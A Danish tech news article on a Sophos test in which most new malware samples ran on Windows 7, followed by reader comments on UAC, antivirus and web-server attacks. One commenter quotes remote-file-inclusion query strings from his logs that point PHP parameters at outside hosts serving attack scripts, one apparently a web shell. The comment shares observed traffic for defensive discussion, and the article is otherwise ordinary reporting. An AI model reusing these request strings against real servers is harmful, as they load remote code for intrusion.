Sikkerhedsfirma: Windows 7 er lige så sårbar som forgængerne

8 ud af 10 af de nyeste ondsindede programmer var i stand til at køre på Windows 7 i en test hos sikkerhedsfirmaet Sophos. User Account Control stoppede i standardindstillingen kun ét enkelt program.

Windows 7 har brug for at blive pakket ind i lige så meget antivirus og beskyttelse som forgængerne. I hvert fald hvis man spørger én af leverandørerne af den ekstra beskyttelse, Sophos.

Sikkerhedsfirmaet har udsat Windows 7 for 10 ondsindede programmer for at se, hvordan Microsofts nyeste styresystem var rustet mod de nyeste trusler.

De 10 programmer blev indsamlet den 22. oktober på den officielle lanceringsdag for Windows 7, og Sophos forsøgte derefter at afvikle dem på en pc med Windows 7 uden antivirus.

Resultatet var, at 8 ud af de 10 programmer kunne afvikles på Windows 7, når adgangskontrollen User Account Control, UAC, var slået fra. Det drejede sig om varianter af henholdsvis trojaneren Bredo/Bredolab og trojaneren Banker.

Med UAC slået til på standardniveauet blev blot ét yderligere program stoppet. UAC blev introduceret i Windows Vista som en del af, at Microsoft gik væk fra den udskældte model, hvor de fleste brugere hele tiden havde administratorrettigheder. I Vista gik Microsoft over til en model, hvor brugeren skal godkende alle handlinger, som kræver administratorrettigheder.

Ud over UAC indeholder Windows 7 og Windows Vista flere funktioner, som skal stoppe forsøg på at udnytte mange almindelige typer sikkerhedshuller. Sophos' test viser imidlertid, at den sikkerhed ikke er nok til at stoppe de nyeste varianter af eksempelvis Zbot.

»Windows 7-brugere behøver ikke føle sig uden for. De kan stadig deltage i Zbot-botnettet og få en portion fupantivirus til dessert. Windows 7 er ingen kur for virus-depression, så sørg for at have beskyttelse,« skriver sikkerhedskonsulent Chester Wisniewski fra Sophos på sin blog.

Tips og korrekturforslag til denne historie sendes til tip@version2.dk
Kommentarer (23)
sortSortér kommentarer
  • Ældste først
  • Nyeste først
  • Bedste først
Peter Andersen

Med UAC forhindres 3 ud af 10 angreb. Det er en forbedring, en lille, men trods alt en forbedring.

Gad vide hvordan resultatet havde set ud med det gratis Microsoft Security Essentials installeret?

http://www.microsoft.com/Security_Essentials/

Personligt synes jeg at kombinationen af den forbedrede firewall, UAC og MSE, samt bedre mulighed for at køre uden administrative rettigheder, samlet set gør Win7 til en mere bekymringsfri affære.

Men det er selvfølgelig meget subjektivt (slet ikke så objektivt som en analyse fra en antivirus-sælger :))

  • 0
  • 0
Peter Andersen

Hvorfor er det lige at sådan noget er pakket ved siden af i stedet for at være en naturlig del af OS'et?

Måske fordi MS ikke gider flere sager på halsen som
den de har fået ved at levere Internet Explorer med Windows? Mail og Moviemaker er også trukket ud af Windows, og skal hentes som en del af "Live Essentials" hvis man ønsker disse programmer.

  • 0
  • 0
Henrik Mikael Kristensen

Jeg kendte egentlig godt svaret, selvom jeg oprigtigt ikke tænkte på det de første par sekunder. Det er bare uheldigt at god sikkerhed forvrænges til et monopolismespørgsmål.

Havde MS integreret det og ladet være med at kalde det, det lidt intetsigende "Security Essentials" i Win7, men bare nogle helt ligefremme punkter i kontrol panelet, såsom "Virus Detection" ligesom de har gjort det med firewall'en, hvor mange ville så have bidt mærke i det?

  • 0
  • 0
Claus Jørgensen

Hvis UAC ikke stopper programmerne kører de vel i userspace.

Så er det vel et spørgsmål om hvad der skal have lov at kører i userspace. Skal man blokere ALT software for at være totalt paranoid?

Jeg savner godt nok mange detaljer i denne her artikel.

  • 0
  • 0
Jens Schumacher

Spændende. En application der ikke virker pga UAC.
Dem har jeg set rigtig rigtig mange af og det er min erfaring at 99% af de programmer der ikke virker pga UAC i virkeligheden ikke virker fordi de er elendigt skrevet.

  • 0
  • 0
Jesper Poulsen

"Det er bare uheldigt at god sikkerhed forvrænges til et monopolismespørgsmål."

Hvis Microsoft endeligt skal integrere noget, så skal det være et sikkert OS. Altså lave det ordentligt fra starten af.

MS har endnu engang præsteret at udsende et halvfærdigt OS som med garanti forbliver halvfærdigt indtil det trækkes af markedet om nogle år.

Lav arbejdet rigtigt første gang!

  • 0
  • 0
Jakob Damkjær

Tjoe hvis du mener at domstolene spilder tiden ved at begrænse firmaer der bryder lovens muligheder for at gøre det igen så ja det er spild af tid...

Men eftersom resten af samfundet tror på at begrænse firmaer der bryder lovens handlemuligheder så det bliver mere besværligt for dem at bryde loven så må du nok regnes som mindretallet, heldigvis...

/Jakob

PS! Godt råd tænk først skriv så.

  • 0
  • 0
Jesper Mørch

Øh ok, kan du uddybe det meget mere end det?

Det kunne f.eks. være et spørgsmål om system-arkitektur.
Nogle velkendte problemstillinger er bl.a. den monolitiske kerne, ActiveX og at GUI'et ikke kan kobles fra.

Der er en grund til at Windows er det mest udsatte system, når det drejer sig om malware. Argumentet omkring udbredelsen er ikke brugbart, da Apache er verdens mest udbredte webserver - alligevel bliver IIS ramt langt oftere.
Grunden til at jeg benytter en webserver som eksempel er fordi den i høj grad er både offentligt eksponeret og tilgængelig.

  • 0
  • 0
Anonym

da Apache er verdens mest udbredte webserver - alligevel bliver IIS ramt langt oftere.

Hvor har du det fra?

Jeg har indtrykket af, at der er Apache/PHP, der bliver ramt oftest.

Her er et nyligt indlæg fra en af SSLOG grupperne:

Jeg har sat en hjemmeside op i cms-simple. Desværre fik brugeren sin
maskine inficeret, og hjemmesiden blev angrebet hårdt.
For at rydde op har jeg:
. fjernet diverse <script> tags, som henviste til en udenlandsk hjemmeside.
. fjernet diverse eval(base64_decode /(&)&%) fra php-tekster
. slettet alle uvedkommende filer, herunder ./contacts som havde et
cgi-link til en mailform ude i verden og ./articles som havde noget
lusket jave-script.

Der står ikke direkte Apache, men jeg tror ikke man kører windows i SSLUG.

Problemet er nok, at man ikke hører om den slags angreb, bortset fra hvis der er en bølge med specifik target - Wordpress Joomla eller lign.

Hvis man kigger i logfilerne, vil jeg tro man kan se daglige angrebsforsøg/probes.

Jeg ved 100% sikkert, at 'de' også blind attacks ved at trawle nettet, for en kammerat og jeg har observeret massevis af forsøg på en ASP side.

Det giver ingen mening at forsøge at afvikle PHP kode på en ASP side, med mindre det som sagt er blind attacks.

Det er lidt underligt man ikke fokuserer på serverne, da det jo i høj grad er grobunden for udbredelse af malware/spam - men på den anden side, så er sikkerhedsfirmaerne måske ikke inteesserede i at miste deres indtægtsgrundlag.

At der ikke er repressalier forbundet med usikre websider, gør ikke problemet mindre.

  • 0
  • 0
Jesper Mørch

Så vidt jeg husker blev der for nylig fundet et seriøst sikkerhedshul i PHP, som bl.a. ramte en stribe CMS'er. Hvis jeg ikke tager meget fejl, er der vist kommet en patch.
Men, som Michael Rasmussen så rigtigt siger, rammer sikkerhedshullet PHP på både IIS og Apache (og formentlig også alle andre implementeringer af PHP).

  • 0
  • 0
Anonym

Så vidt jeg husker blev der for nylig fundet et seriøst sikkerhedshul i PHP, som bl.a. ramte en stribe CMS'er

Jeg har kigget på en del logfiler, for at observere 'nature of things'.

Ud fra det føler jeg mig rimelig sikker på, at 'de' gennemgår kildekoderne og finder et hul.

Det er både godt og skidt med Open Source, forstået på den måde, at 'de' risikerer at finde hullerne først.

Ser man på Querystring på de målrettede angreb, f.eks (blanke indsat):
1) mosConfig_absolute_path=http : / /www.blackid.org/bo.do??
2)/inc/cmses/aedatingCMS.php?dir[inc]=http : / /web246.webgo24-server11.de/Homepage/fightus/rfi-response.txt????
3)//mediagallery/public_html/maint/ftpmedia.php?_MG_CONF[path_html]=http : / / gumansin.com/id.txt??

kan man udlede hvilket system der er tale om.

Men generelt har PHP den 'feature', at den kan eksekvere remote code, så selv en 'moster oda' test applikation kan give adgang (og kontrol) til serveren.

Der afprøver man bare forskellige parametre, eks:
1) id=http : / / www.iniciativaciudadana.com/xml/licence.txt??
2) keynav=http://evilc0der.com/r57.txt?

Som nævnt undrer det mig, at man ikke fokuserer på serverne - og logfilerne, for ud fra disse typer requests, kan man med sikkerhed sige:
1) Serveren, der bruges som placeholder er inficeret, og dermed sårbar (eller ondsindet).
2) Remote IP adressen er en PC bot, eller en inficeret server.

Det kan nok ikke lade sig gøre i det virkelige liv, men hvis man stablede en eller anden central registrering af disse, kunne man sikkert undgå mange angreb/phishing hurtigere.

Men tilbage til

Jeg tror vi skal ændre ovenstående til "[..]det er PHP, der bliver ramt oftest"

Jeg er med på, at det er PHP, der angribes, og på samme måde er det ASP(x)/MSSQLServer på IIS, når vi snakker SQL injection.

Min viden er begrænset til egne undesøgelser, og det man ser i medier/nyhedsgrupper, og der har jeg ikke set spor af angreb mod selve Apache, eller IIS.

Så det var egentlig et spørgsmål om der angribes mod serverne eller applikationerne?

  • 0
  • 0
Anonym

Det kan nok ikke lade sig gøre i det virkelige liv

Lad mig trække dette statement tilbage, for eks. Google har kapaciteten til at lave den slags.

Det vil kræve en alvorlig serverkapacitet, men da Google i forvejen har kapacitet til eks. 'analytics', burde det kunne lade sig gøre.

Indtil videre har jeg lavet en indledende synopsis, til et løsningsforslag, men kun nogle overskrifter, så vi må se hvad tiden bringer.

Det handler lidt om proactive handlinger frem for reactive handlinger, som åbenbart er tilfældet med:
'this site may damage your computer',
som er reaktiv.

Men lad mig lige afslutte med det med seriøsiteten.
For ikke så lang tid siden var der en artikel med overskriften(ca.)

Her er de 100 ondeste websteder

Der tog jeg nogle stikprøver, og det viste sig, at der overhovedet ikke var tale om onde websteder, ej heller risiko for inficering, da alle links (i stikprøverne) var døde/ineffektive.

Man havde simpelthen klassificeret efter(tidligere) javascript, og havde ikke evnet at se, at kæden var brudt.

Med kæden tænker jeg på at bryde konceptet:
http://w-o-p-r.dk/storm.monitor/rationale.asp
hvor Trusted Servers ganske rigtigt indeholdt noget obskurt javascript,
men henvisningerne ned igennem fødekæden var brudt.

Altså var der ikke tale om 'onde websteder', men ofre, der ikke fik melding om, at de indeholdt javascript til redirectors, som igen førte til forsøg på installation af malware.

Mht. løsningsforslag, så har jeg som sagt kun lavet nogle stikord, og det kræver nok lidt forklaring,
så indtil videre er det kun på tænkestadiet.

En evt. løsning er ganske klar, men at beskrive den...

  • 0
  • 0
Log ind eller Opret konto for at kommentere